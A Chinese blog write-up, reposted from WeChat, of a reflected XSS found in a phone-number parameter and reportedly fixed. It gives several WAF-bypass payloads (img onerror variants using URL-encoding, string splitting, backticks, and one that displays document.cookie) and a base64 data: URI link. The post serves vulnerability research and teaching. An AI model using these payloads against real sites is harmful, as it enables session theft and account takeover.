漏洞已提交修复,打了厚码给大家分享一下
在测试一个功能点的时候,他传递一个参数sm
,这个sm
参数是个手机号
猜测这个参数可能会在页面上直接输出,那就整个html
的标签进去试试,看他解不解析
一般我不会使用<script>alert(1)</script>
,这样的xss
百年一遇,那个简直就是可遇不可求
看到这儿,很明显,页面上他是解析的,那么再试试他的属性值呢
属性值也是能解析的,没有被过滤,我们就可以尝试构造这样的poc
去bypass
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==" />1</a>
当然,我不想写的那么长(懒得写),这里就用img
标签尝试构造一个常见的poc
:
这是因为存在一个waf
,那就尝试poc
bypass
经过反复测试,在html
标签中,如果存在关键字onerror=alert(1)
会被这个waf
匹配直接拦截,那么我们就可以尝试构造bypass后的poc
:
<img src=1 onerror="alert%20(1)"/>
当然 方法不唯一,你还可以拆开之后拼一块儿
<img src=1 onerror=top['ale'+'rt'](1)>
或者替换括号
<img src=1 onerror="alert`1`">
然后我试了一下,单独的alert
是不会被拦截的,那么就有poc
:
<img src=1 onerror="window['alert'](document['cookie'])"/>
bypass方法很多,这里就不一一例举了
原文始发于微信公众号(深夜笔记本):记一次简单的漏洞挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论